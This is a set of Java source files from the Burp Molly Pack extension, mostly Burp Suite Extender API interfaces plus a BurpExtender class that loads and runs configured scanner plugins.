src/main/java/burp/IHttpRequestResponse.java
package burp; /* * @(#)IHttpRequestResponse.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ /** * This interface is used to retrieve and update details about HTTP messages. * * <b>Note:</b> The setter methods generally can only be used before the message * has been processed, and not in read-only contexts. The getter methods * relating to response details can only be used after the request has been * issued. */ public interface IHttpRequestResponse { /** * This method is used to retrieve the request message. * * @return The request message. */ byte[] getRequest(); /** * This method is used to update the request message. * * @param message The new request message. */ void setRequest(byte[] message); /** * This method is used to retrieve the response message. * * @return The response message. */ byte[] getResponse(); /** * This method is used to update the response message. * * @param message The new response message. */ void setResponse(byte[] message); /** * This method is used to retrieve the user-annotated comment for this item, * if applicable. * * @return The user-annotated comment for this item, or null if none is set. */ String getComment(); /** * This method is used to update the user-annotated comment for this item. * * @param comment The comment to be assigned to this item. */ void setComment(String comment); /** * This method is used to retrieve the user-annotated highlight for this * item, if applicable. * * @return The user-annotated highlight for this item, or null if none is * set. */ String getHighlight(); /** * This method is used to update the user-annotated highlight for this item. * * @param color The highlight color to be assigned to this item. Accepted * values are: red, orange, yellow, green, cyan, blue, pink, magenta, gray, * or a null String to clear any existing highlight. */ void setHighlight(String color); /** * This method is used to retrieve the HTTP service for this request / * response. * * @return An * <code>IHttpService</code> object containing details of the HTTP service. */ IHttpService getHttpService(); /** * This method is used to update the HTTP service for this request / * response. * * @param httpService An * <code>IHttpService</code> object containing details of the new HTTP * service. */ void setHttpService(IHttpService httpService); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/ISessionHandlingAction.java
src/main/java/burp/ISessionHandlingAction.java
package burp; /* * @(#)ISessionHandlingAction.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ /** * Extensions can implement this interface and then call * <code>IBurpExtenderCallbacks.registerSessionHandlingAction()</code> to * register a custom session handling action. Each registered action will be * available within the session handling rule UI for the user to select as a * rule action. Users can choose to invoke an action directly in its own right, * or following execution of a macro. */ public interface ISessionHandlingAction { /** * This method is used by Burp to obtain the name of the session handling * action. This will be displayed as an option within the session handling * rule editor when the user selects to execute an extension-provided * action. * * @return The name of the action. */ String getActionName(); /** * This method is invoked when the session handling action should be * executed. This may happen as an action in its own right, or as a * sub-action following execution of a macro. * * @param currentRequest The base request that is currently being processed. * The action can query this object to obtain details about the base * request. It can issue additional requests of its own if necessary, and * can use the setter methods on this object to update the base request. * @param macroItems If the action is invoked following execution of a * macro, this parameter contains the result of executing the macro. * Otherwise, it is * <code>null</code>. Actions can use the details of the macro items to * perform custom analysis of the macro to derive values of non-standard * session handling tokens, etc. */ void performAction( IHttpRequestResponse currentRequest, IHttpRequestResponse[] macroItems); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IMessageEditorController.java
src/main/java/burp/IMessageEditorController.java
package burp; /* * @(#)IMessageEditorController.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ /** * This interface is used by an * <code>IMessageEditor</code> to obtain details about the currently displayed * message. Extensions that create instances of Burp's HTTP message editor can * optionally provide an implementation of * <code>IMessageEditorController</code>, which the editor will invoke when it * requires further information about the current message (for example, to send * it to another Burp tool). Extensions that provide custom editor tabs via an * <code>IMessageEditorTabFactory</code> will receive a reference to an * <code>IMessageEditorController</code> object for each tab instance they * generate, which the tab can invoke if it requires further information about * the current message. */ public interface IMessageEditorController { /** * This method is used to retrieve the HTTP service for the current message. * * @return The HTTP service for the current message. */ IHttpService getHttpService(); /** * This method is used to retrieve the HTTP request associated with the * current message (which may itself be a response). * * @return The HTTP request associated with the current message. */ byte[] getRequest(); /** * This method is used to retrieve the HTTP response associated with the * current message (which may itself be a request). * * @return The HTTP response associated with the current message. */ byte[] getResponse(); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IMenuItemHandler.java
src/main/java/burp/IMenuItemHandler.java
package burp; /* * @(#)IMenuItemHandler.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ /** * Extensions can implement this interface and then call * <code>IBurpExtenderCallbacks.registerMenuItem()</code> to register a custom * context menu item. * * @deprecated Use * <code>IContextMenuFactory</code> instead. */ @Deprecated public interface IMenuItemHandler { /** * This method is invoked by Burp Suite when the user clicks on a custom * menu item which the extension has registered with Burp. * * @param menuItemCaption The caption of the menu item which was clicked. * This parameter enables extensions to provide a single implementation * which handles multiple different menu items. * @param messageInfo Details of the HTTP message(s) for which the context * menu was displayed. */ void menuItemClicked( String menuItemCaption, IHttpRequestResponse[] messageInfo); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IHttpRequestResponseWithMarkers.java
src/main/java/burp/IHttpRequestResponseWithMarkers.java
package burp; /* * @(#)IHttpRequestResponseWithMarkers.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ import java.util.List; /** * This interface is used for an * <code>IHttpRequestResponse</code> object that has had markers applied. * Extensions can create instances of this interface using * <code>IBurpExtenderCallbacks.applyMarkers()</code>, or provide their own * implementation. Markers are used in various situations, such as specifying * Intruder payload positions, Scanner insertion points, and highlights in * Scanner issues. */ public interface IHttpRequestResponseWithMarkers extends IHttpRequestResponse { /** * This method returns the details of the request markers. * * @return A list of index pairs representing the offsets of markers for the * request message. Each item in the list is an int[2] array containing the * start and end offsets for the marker. The method may return * <code>null</code> if no request markers are defined. */ List<int[]> getRequestMarkers(); /** * This method returns the details of the response markers. * * @return A list of index pairs representing the offsets of markers for the * response message. Each item in the list is an int[2] array containing the * start and end offsets for the marker. The method may return * <code>null</code> if no response markers are defined. */ List<int[]> getResponseMarkers(); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IBurpCollaboratorClientContext.java
src/main/java/burp/IBurpCollaboratorClientContext.java
package burp; /* * @(#)IBurpCollaboratorClientContext.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ import java.util.List; /** * This interface represents an instance of a Burp Collaborator client context, * which can be used to generate Burp Collaborator payloads and poll the * Collaborator server for any network interactions that result from using those * payloads. Extensions can obtain new instances of this class by calling * <code>IBurpExtenderCallbacks.createBurpCollaboratorClientContext()</code>. * Note that each Burp Collaborator client context is tied to the Collaborator * server configuration that was in place at the time the context was created. */ public interface IBurpCollaboratorClientContext { /** * This method is used to generate new Burp Collaborator payloads. * * @param includeCollaboratorServerLocation Specifies whether to include the * Collaborator server location in the generated payload. * @return The payload that was generated. */ String generatePayload(boolean includeCollaboratorServerLocation); /** * This method is used to retrieve all interactions received by the * Collaborator server resulting from payloads that were generated for this * context. * * @return The Collaborator interactions that have occurred resulting from * payloads that were generated for this context. */ List<IBurpCollaboratorInteraction> fetchAllCollaboratorInteractions(); /** * This method is used to retrieve interactions received by the Collaborator * server resulting from a single payload that was generated for this * context. * * @param payload The payload for which interactions will be retrieved. * @return The Collaborator interactions that have occurred resulting from * the given payload. */ List<IBurpCollaboratorInteraction> fetchCollaboratorInteractionsFor(String payload); /** * This method is used to retrieve all interactions made by Burp Infiltrator * instrumentation resulting from payloads that were generated for this * context. * * @return The interactions triggered by the Burp Infiltrator * instrumentation that have occurred resulting from payloads that were * generated for this context. */ List<IBurpCollaboratorInteraction> fetchAllInfiltratorInteractions(); /** * This method is used to retrieve interactions made by Burp Infiltrator * instrumentation resulting from a single payload that was generated for * this context. * * @param payload The payload for which interactions will be retrieved. * @return The interactions triggered by the Burp Infiltrator * instrumentation that have occurred resulting from the given payload. */ List<IBurpCollaboratorInteraction> fetchInfiltratorInteractionsFor(String payload); /** * This method is used to retrieve the network location of the Collaborator * server. * * @return The hostname or IP address of the Collaborator server. */ String getCollaboratorServerLocation(); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IScopeChangeListener.java
src/main/java/burp/IScopeChangeListener.java
package burp; /* * @(#)IScopeChangeListener.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ /** * Extensions can implement this interface and then call * <code>IBurpExtenderCallbacks.registerScopeChangeListener()</code> to register * a scope change listener. The listener will be notified whenever a change * occurs to Burp's suite-wide target scope. */ public interface IScopeChangeListener { /** * This method is invoked whenever a change occurs to Burp's suite-wide * target scope. */ void scopeChanged(); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IInterceptedProxyMessage.java
src/main/java/burp/IInterceptedProxyMessage.java
package burp; /* * @(#)IInterceptedProxyMessage.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ import java.net.InetAddress; /** * This interface is used to represent an HTTP message that has been intercepted * by Burp Proxy. Extensions can register an * <code>IProxyListener</code> to receive details of proxy messages using this * interface. * */ public interface IInterceptedProxyMessage { /** * This action causes Burp Proxy to follow the current interception rules to * determine the appropriate action to take for the message. */ static final int ACTION_FOLLOW_RULES = 0; /** * This action causes Burp Proxy to present the message to the user for * manual review or modification. */ static final int ACTION_DO_INTERCEPT = 1; /** * This action causes Burp Proxy to forward the message to the remote server * or client, without presenting it to the user. */ static final int ACTION_DONT_INTERCEPT = 2; /** * This action causes Burp Proxy to drop the message. */ static final int ACTION_DROP = 3; /** * This action causes Burp Proxy to follow the current interception rules to * determine the appropriate action to take for the message, and then make a * second call to processProxyMessage. */ static final int ACTION_FOLLOW_RULES_AND_REHOOK = 0x10; /** * This action causes Burp Proxy to present the message to the user for * manual review or modification, and then make a second call to * processProxyMessage. */ static final int ACTION_DO_INTERCEPT_AND_REHOOK = 0x11; /** * This action causes Burp Proxy to skip user interception, and then make a * second call to processProxyMessage. */ static final int ACTION_DONT_INTERCEPT_AND_REHOOK = 0x12; /** * This method retrieves a unique reference number for this * request/response. * * @return An identifier that is unique to a single request/response pair. * Extensions can use this to correlate details of requests and responses * and perform processing on the response message accordingly. */ int getMessageReference(); /** * This method retrieves details of the intercepted message. * * @return An <code>IHttpRequestResponse</code> object containing details of * the intercepted message. */ IHttpRequestResponse getMessageInfo(); /** * This method retrieves the currently defined interception action. The * default action is * <code>ACTION_FOLLOW_RULES</code>. If multiple proxy listeners are * registered, then other listeners may already have modified the * interception action before it reaches the current listener. This method * can be used to determine whether this has occurred. * * @return The currently defined interception action. Possible values are * defined within this interface. */ int getInterceptAction(); /** * This method is used to update the interception action. * * @param interceptAction The new interception action. Possible values are * defined within this interface. */ void setInterceptAction(int interceptAction); /** * This method retrieves the name of the Burp Proxy listener that is * processing the intercepted message. * * @return The name of the Burp Proxy listener that is processing the * intercepted message. The format is the same as that shown in the Proxy * Listeners UI - for example, "127.0.0.1:8080". */ String getListenerInterface(); /** * This method retrieves the client IP address from which the request for * the intercepted message was received. * * @return The client IP address from which the request for the intercepted * message was received. */ InetAddress getClientIpAddress(); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IIntruderPayloadGenerator.java
src/main/java/burp/IIntruderPayloadGenerator.java
package burp; /* * @(#)IIntruderPayloadGenerator.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ /** * This interface is used for custom Intruder payload generators. Extensions * that have registered an * <code>IIntruderPayloadGeneratorFactory</code> must return a new instance of * this interface when required as part of a new Intruder attack. */ public interface IIntruderPayloadGenerator { /** * This method is used by Burp to determine whether the payload generator is * able to provide any further payloads. * * @return Extensions should return * <code>false</code> when all the available payloads have been used up, * otherwise * <code>true</code>. */ boolean hasMorePayloads(); /** * This method is used by Burp to obtain the value of the next payload. * * @param baseValue The base value of the current payload position. This * value may be * <code>null</code> if the concept of a base value is not applicable (e.g. * in a battering ram attack). * @return The next payload to use in the attack. */ byte[] getNextPayload(byte[] baseValue); /** * This method is used by Burp to reset the state of the payload generator * so that the next call to * <code>getNextPayload()</code> returns the first payload again. This * method will be invoked when an attack uses the same payload generator for * more than one payload position, for example in a sniper attack. */ void reset(); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IBurpCollaboratorInteraction.java
src/main/java/burp/IBurpCollaboratorInteraction.java
package burp; /* * @(#)IBurpCollaboratorInteraction.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ import java.util.Map; /** * This interface represents a network interaction that occurred with the Burp * Collaborator server. */ public interface IBurpCollaboratorInteraction { /** * This method is used to retrieve a property of the interaction. Properties * of all interactions are: interaction_id, type, client_ip, and time_stamp. * Properties of DNS interactions are: query_type and raw_query. The * raw_query value is Base64-encoded. Properties of HTTP interactions are: * protocol, request, and response. The request and response values are * Base64-encoded. * * @param name The name of the property to retrieve. * @return A string representing the property value, or null if not present. */ String getProperty(String name); /** * This method is used to retrieve a map containing all properties of the * interaction. * * @return A map containing all properties of the interaction. */ Map<String, String> getProperties(); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/ICookie.java
src/main/java/burp/ICookie.java
package burp; /* * @(#)ICookie.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ import java.util.Date; /** * This interface is used to hold details about an HTTP cookie. */ public interface ICookie { /** * This method is used to retrieve the domain for which the cookie is in * scope. * * @return The domain for which the cookie is in scope. <b>Note:</b> For * cookies that have been analyzed from responses (by calling * <code>IExtensionHelpers.analyzeResponse()</code> and then * <code>IResponseInfo.getCookies()</code>, the domain will be * <code>null</code> if the response did not explicitly set a domain * attribute for the cookie. */ String getDomain(); /** * This method is used to retrieve the path for which the cookie is in * scope. * * @return The path for which the cookie is in scope or null if none is set. */ String getPath(); /** * This method is used to retrieve the expiration time for the cookie. * * @return The expiration time for the cookie, or * <code>null</code> if none is set (i.e., for non-persistent session * cookies). */ Date getExpiration(); /** * This method is used to retrieve the name of the cookie. * * @return The name of the cookie. */ String getName(); /** * This method is used to retrieve the value of the cookie. * @return The value of the cookie. */ String getValue(); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IProxyListener.java
src/main/java/burp/IProxyListener.java
package burp; /* * @(#)IProxyListener.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ /** * Extensions can implement this interface and then call * <code>IBurpExtenderCallbacks.registerProxyListener()</code> to register a * Proxy listener. The listener will be notified of requests and responses being * processed by the Proxy tool. Extensions can perform custom analysis or * modification of these messages, and control in-UI message interception, by * registering a proxy listener. */ public interface IProxyListener { /** * This method is invoked when an HTTP message is being processed by the * Proxy. * * @param messageIsRequest Indicates whether the HTTP message is a request * or a response. * @param message An * <code>IInterceptedProxyMessage</code> object that extensions can use to * query and update details of the message, and control whether the message * should be intercepted and displayed to the user for manual review or * modification. */ void processProxyMessage( boolean messageIsRequest, IInterceptedProxyMessage message); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IScanQueueItem.java
src/main/java/burp/IScanQueueItem.java
package burp; /* * @(#)IScanQueueItem.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ /** * This interface is used to retrieve details of items in the Burp Scanner * active scan queue. Extensions can obtain references to scan queue items by * calling * <code>IBurpExtenderCallbacks.doActiveScan()</code>. */ public interface IScanQueueItem { /** * This method returns a description of the status of the scan queue item. * * @return A description of the status of the scan queue item. */ String getStatus(); /** * This method returns an indication of the percentage completed for the * scan queue item. * * @return An indication of the percentage completed for the scan queue * item. */ byte getPercentageComplete(); /** * This method returns the number of requests that have been made for the * scan queue item. * * @return The number of requests that have been made for the scan queue * item. */ int getNumRequests(); /** * This method returns the number of network errors that have occurred for * the scan queue item. * * @return The number of network errors that have occurred for the scan * queue item. */ int getNumErrors(); /** * This method returns the number of attack insertion points being used for * the scan queue item. * * @return The number of attack insertion points being used for the scan * queue item. */ int getNumInsertionPoints(); /** * This method allows the scan queue item to be canceled. */ void cancel(); /** * This method returns details of the issues generated for the scan queue * item. <b>Note:</b> different items within the scan queue may contain * duplicated versions of the same issues - for example, if the same request * has been scanned multiple times. Duplicated issues are consolidated in * the main view of scan results. Extensions can register an * <code>IScannerListener</code> to get details only of unique, newly * discovered Scanner issues post-consolidation. * * @return Details of the issues generated for the scan queue item. */ IScanIssue[] getIssues(); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IMessageEditor.java
src/main/java/burp/IMessageEditor.java
package burp; /* * @(#)IMessageEditor.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ import java.awt.Component; /** * This interface is used to provide extensions with an instance of Burp's HTTP * message editor, for the extension to use in its own UI. Extensions should * call * <code>IBurpExtenderCallbacks.createMessageEditor()</code> to obtain an * instance of this interface. */ public interface IMessageEditor { /** * This method returns the UI component of the editor, for extensions to add * to their own UI. * * @return The UI component of the editor. */ Component getComponent(); /** * This method is used to display an HTTP message in the editor. * * @param message The HTTP message to be displayed. * @param isRequest Flags whether the message is an HTTP request or * response. */ void setMessage(byte[] message, boolean isRequest); /** * This method is used to retrieve the currently displayed message, which * may have been modified by the user. * * @return The currently displayed HTTP message. */ byte[] getMessage(); /** * This method is used to determine whether the current message has been * modified by the user. * * @return An indication of whether the current message has been modified by * the user since it was first displayed. */ boolean isMessageModified(); /** * This method returns the data that is currently selected by the user. * * @return The data that is currently selected by the user, or * <code>null</code> if no selection is made. */ byte[] getSelectedData(); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IMessageEditorTab.java
src/main/java/burp/IMessageEditorTab.java
package burp; /* * @(#)IMessageEditorTab.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ import java.awt.Component; /** * Extensions that register an * <code>IMessageEditorTabFactory</code> must return instances of this * interface, which Burp will use to create custom tabs within its HTTP message * editors. */ public interface IMessageEditorTab { /** * This method returns the caption that should appear on the custom tab when * it is displayed. <b>Note:</b> Burp invokes this method once when the tab * is first generated, and the same caption will be used every time the tab * is displayed. * * @return The caption that should appear on the custom tab when it is * displayed. */ String getTabCaption(); /** * This method returns the component that should be used as the contents of * the custom tab when it is displayed. <b>Note:</b> Burp invokes this * method once when the tab is first generated, and the same component will * be used every time the tab is displayed. * * @return The component that should be used as the contents of the custom * tab when it is displayed. */ Component getUiComponent(); /** * The hosting editor will invoke this method before it displays a new HTTP * message, so that the custom tab can indicate whether it should be enabled * for that message. * * @param content The message that is about to be displayed, or a zero-length * array if the existing message is to be cleared. * @param isRequest Indicates whether the message is a request or a * response. * @return The method should return * <code>true</code> if the custom tab is able to handle the specified * message, and so will be displayed within the editor. Otherwise, the tab * will be hidden while this message is displayed. */ boolean isEnabled(byte[] content, boolean isRequest); /** * The hosting editor will invoke this method to display a new message or to * clear the existing message. This method will only be called with a new * message if the tab has already returned * <code>true</code> to a call to * <code>isEnabled()</code> with the same message details. * * @param content The message that is to be displayed, or * <code>null</code> if the tab should clear its contents and disable any * editable controls. * @param isRequest Indicates whether the message is a request or a * response. */ void setMessage(byte[] content, boolean isRequest); /** * This method returns the currently displayed message. * * @return The currently displayed message. */ byte[] getMessage(); /** * This method is used to determine whether the currently displayed message * has been modified by the user. The hosting editor will always call * <code>getMessage()</code> before calling this method, so any pending * edits should be completed within * <code>getMessage()</code>. * * @return The method should return * <code>true</code> if the user has modified the current message since it * was first displayed. */ boolean isModified(); /** * This method is used to retrieve the data that is currently selected by * the user. * * @return The data that is currently selected by the user. This may be * <code>null</code> if no selection is currently made. */ byte[] getSelectedData(); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/BurpExtender.java
src/main/java/burp/BurpExtender.java
package burp; import com.google.gson.Gson; import com.google.gson.JsonParseException; import com.yandex.burp.extensions.plugins.audit.IAuditPlugin; import com.yandex.burp.extensions.plugins.config.BurpMollyPackConfig; import com.yandex.burp.extensions.plugins.config.MollyConfig; import com.yandex.burp.extensions.plugins.grep.IGrepPlugin; import java.io.IOException; import java.io.OutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Paths; import java.util.ArrayList; import java.util.List; import java.util.Map; public class BurpExtender implements IBurpExtender, IScannerCheck, IExtensionStateListener { public static OutputStream stdout; private IBurpExtenderCallbacks callbacks; private IExtensionHelpers helpers; private MollyConfig extConfig; private List<String> activePluginsNames; private List<IAuditPlugin> activePlugins; private List<String> passivePluginsNames; private List<IGrepPlugin> passivePlugins; // // implement IBurpExtender // @Override public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks) { // keep a reference to our callbacks object this.callbacks = callbacks; this.helpers = callbacks.getHelpers(); callbacks.setExtensionName("Burp Molly Pack"); // obtain our output stream stdout = callbacks.getStdout(); Map<String, String> env = System.getenv(); String configPath = env.get("MOLLY_CONFIG"); if (configPath == null) { configPath = "burp_molly_config.json"; } try { println("Trying to load config from " + Paths.get(configPath).toAbsolutePath().toString()); String configJSON = new String(Files.readAllBytes(Paths.get(configPath)), StandardCharsets.UTF_8); extConfig = new Gson().fromJson(configJSON, MollyConfig.class); } catch (IOException e) { println("Error loading extension config"); return; } catch (JsonParseException e) { println("Error loading extension config"); return; } BurpMollyPackConfig burpMollyPackConfig = extConfig.getBurpMollyPackConfig(); if (burpMollyPackConfig == null) { println("Error loading burpMollyPackConfig"); callbacks.exitSuite(false); } // //Check that we have at least one active plugin // if (burpMollyPackConfig.getActivePluginsEnable() != null) { this.activePluginsNames = burpMollyPackConfig.getActivePluginsEnable(); this.activePlugins = new ArrayList<>(); for (String activePluginName : activePluginsNames) { try { Constructor iAuditPluginConstructor = null; try { iAuditPluginConstructor = Class .forName("com.yandex.burp.extensions.plugins.audit." + activePluginName) .getConstructor(IBurpExtenderCallbacks.class, BurpMollyPackConfig.class); } catch (ClassNotFoundException e) { e.printStackTrace(); } try { activePlugins.add((IAuditPlugin) iAuditPluginConstructor.newInstance(this.callbacks, burpMollyPackConfig)); } catch (NullPointerException | InstantiationException | InvocationTargetException | IllegalAccessException e) { e.printStackTrace(); } } catch (NoSuchMethodException e) { e.printStackTrace(); } } } // //Check that we have at least one active plugin // if (burpMollyPackConfig.getPassivePluginsEnable() != null) { this.passivePluginsNames = burpMollyPackConfig.getPassivePluginsEnable(); this.passivePlugins = new ArrayList<>(); for (String passivePluginName : passivePluginsNames) { try { Constructor iGrepPluginConstructor = null; try { iGrepPluginConstructor = Class .forName("com.yandex.burp.extensions.plugins.grep." + passivePluginName) .getConstructor(IBurpExtenderCallbacks.class, BurpMollyPackConfig.class); } catch (ClassNotFoundException e) { e.printStackTrace(); } try { passivePlugins.add((IGrepPlugin) iGrepPluginConstructor.newInstance(this.callbacks, burpMollyPackConfig)); } catch (NullPointerException | InstantiationException | InvocationTargetException | IllegalAccessException e) { e.printStackTrace(); } } catch (NoSuchMethodException e) { e.printStackTrace(); } } } println("Extension was loaded"); callbacks.registerScannerCheck(this); // register ourselves as an extension state listener callbacks.registerExtensionStateListener(this); } // // implement IExtensionStateListener // @Override public void extensionUnloaded() { println("Extension was unloaded"); } @Override public List<IScanIssue> doActiveScan(IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) { List<IScanIssue> results = new ArrayList<>(); List<IScanIssue> res; for (IAuditPlugin activePlugin : activePlugins) { res = activePlugin.doScan(baseRequestResponse, insertionPoint); if (res != null) results.addAll(res); } if (results.size() > 0) return results; return null; } @Override public List<IScanIssue> doPassiveScan(IHttpRequestResponse baseRequestResponse) { List<IScanIssue> results = new ArrayList<>(); IScanIssue res; for (IGrepPlugin passivePlugin : passivePlugins) { res = passivePlugin.grep(baseRequestResponse); if (res != null) results.add(res); } if (results.size() > 0) return results; return null; } @Override public int consolidateDuplicateIssues(IScanIssue existingIssue, IScanIssue newIssue) { switch (newIssue.getIssueName()) { case "Clickjacking": case "Missing X-Content-Type-Options header": case "Missing X-XSS-Protection header": case "Content Security Policy related information": if (existingIssue.getIssueName().equals(newIssue.getIssueName()) && existingIssue.getUrl().getHost().equals(newIssue.getUrl().getHost()) && existingIssue.getUrl().getPath().equals(newIssue.getUrl().getPath())) { return -1; } return 0; default: if (existingIssue.getIssueDetail().equals(newIssue.getIssueDetail())) { return -1; } return 0; } } public static void println(String toPrint) { try { stdout.write(toPrint.getBytes()); stdout.write("\n".getBytes()); stdout.flush(); } catch (IOException ioe) { ioe.printStackTrace(); } } }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
https://github.com/yandex/burp-molly-pack/blob/8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f/src/main/java/burp/IBurpExtender.java
src/main/java/burp/IBurpExtender.java
package burp; /* * @(#)IBurpExtender.java * * Copyright PortSwigger Ltd. All rights reserved. * * This code may be used to extend the functionality of Burp Suite Free Edition * and Burp Suite Professional, provided that this usage does not violate the * license terms for those products. */ /** * All extensions must implement this interface. * * Implementations must be called BurpExtender, in the package burp, must be * declared public, and must provide a default (public, no-argument) * constructor. */ public interface IBurpExtender { /** * This method is invoked when the extension is loaded. It registers an * instance of the * <code>IBurpExtenderCallbacks</code> interface, providing methods that may * be invoked by the extension to perform various actions. * * @param callbacks An * <code>IBurpExtenderCallbacks</code> object. */ void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks); }
java
BSD-3-Clause
8c9aa5766dcd4b49d3258bf7f3790bd318fe9b7f
2026-01-05T02:41:29.237735Z
false
yandex/burp-molly-pack
